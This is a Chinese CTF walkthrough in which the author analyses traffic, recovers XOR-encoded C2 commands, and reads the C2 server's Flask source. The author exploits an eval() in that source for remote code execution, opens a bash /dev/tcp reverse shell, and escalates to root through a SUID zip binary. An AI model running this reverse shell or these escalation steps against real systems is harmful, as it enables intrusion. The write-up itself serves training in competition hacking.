本来在CTF中应该都是基操,但是因为本人太菜,弄了好几天才出。。。(T0T)
题目

先是流量分析,看到了很多TCP和HTTP流,追踪大概看一下

看起来传输了很多加密的信息,先把它们全都手动整理出来

直接解base64解不出,但是POST传参时看到了一个random_key,猜是异或用的,果然

看到用curl从攻击机读取了一个文件,我也试着读了一下,发现可以从攻击机中读到任意文件,于是读到了第一个flag

从读一些不存在的文件产生的报错中可以看到python flask源码,读下来进行审计

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| from flask import Flask, request, jsonify, send_file import os import secrets import base64 from pwn import xor from threading import Thread
app = Flask(__name__)
clients = {"4ace608657cba629": {"command": "whoami", "random_key": 95}}
@app.route("/init", methods=["GET"]) def init(): client_id = secrets.token_hex(8) random_key = secrets.randbelow(255) clients[client_id] = {"command": "echo hello", "random_key": random_key} return jsonify({"client_id": client_id, "random_key": random_key})
@app.route("/recv", methods=["POST"]) def send_command(): data = request.json client_id = data["client_id"] print(client_id, data["random_key"]) command = clients[client_id].get("command", "") encrypted_command = encrypt_command( command, clients[client_id]["random_key"]) return jsonify({"encrypted_command": encrypted_command})
@app.route("/send", methods=["POST"]) def recv_data(): data = request.json client_id = data["client_id"] if eval(data["random_key"]) != clients[client_id]["random_key"]: return f"data error", 200 encrypted_data = data["data"] decrypted_data = decrypt_data( encrypted_data, clients[client_id]["random_key"]) print(f"Received data: {decrypted_data.decode()}") return f"Received data", 200
@app.route("/files", methods=["POST"]) def recv_file(): data = request.json client_id = data["client_id"] random_key = data["random_key"] path = data["path"]
if client_id not in clients.keys(): return jsonify( {"message": "Invalid client_id"} )
if clients[client_id]["random_key"] == int(random_key): return send_file(path) else: return jsonify( {"message": "incorrect random_key"} )
def encrypt_command(command, key): encrypted_data = xor(command, key) return base64.b64encode(encrypted_data).decode()
def decrypt_data(encrypted_data, key): encrypted_data = base64.b64decode(encrypted_data) return xor(encrypted_data, key)
def run_flask_app(): app.run(host="0.0.0.0", debug=True, port=1337, use_reloader=False)
if __name__ == "__main__": flask_thread = Thread(target=run_flask_app) flask_thread.start()
while True: command = input("Enter command: ") for client_id in clients.keys(): clients[client_id]["command"] = command print(f"Executing: {command}")
|
可以看到在判断random_key是否正确的地方存在一个我们CTFer最喜欢的eval,于是可以通过这个漏洞执行RCE
反弹shell拿下C2服务器
给攻击机传bash -c “bash -i >& /dev/tcp/ip/port 0>&1”

自己的服务器监听2333端口

ps aux查看一下运行的程序

可以看到C2服务器是用tmux运行的,那么用tmux回到这个会话(后来开放了ssh,用ssh连,先把自己的公钥配置进去,这里不再赘述)

有点问题,那么就先把前面的tmux进程kill了再启动,根据它给的id和key改一下server.py,kill了再启动



输指令反弹shell


可以看到现在的用户是ctf,但是flag在/root/flag.txt下,需要提权
这里用suid提权,先看一下哪些文件有suid权限

在gtfobins上面查到可以利用/usr/bin/zip提权读取文件,以此得到第二个flag

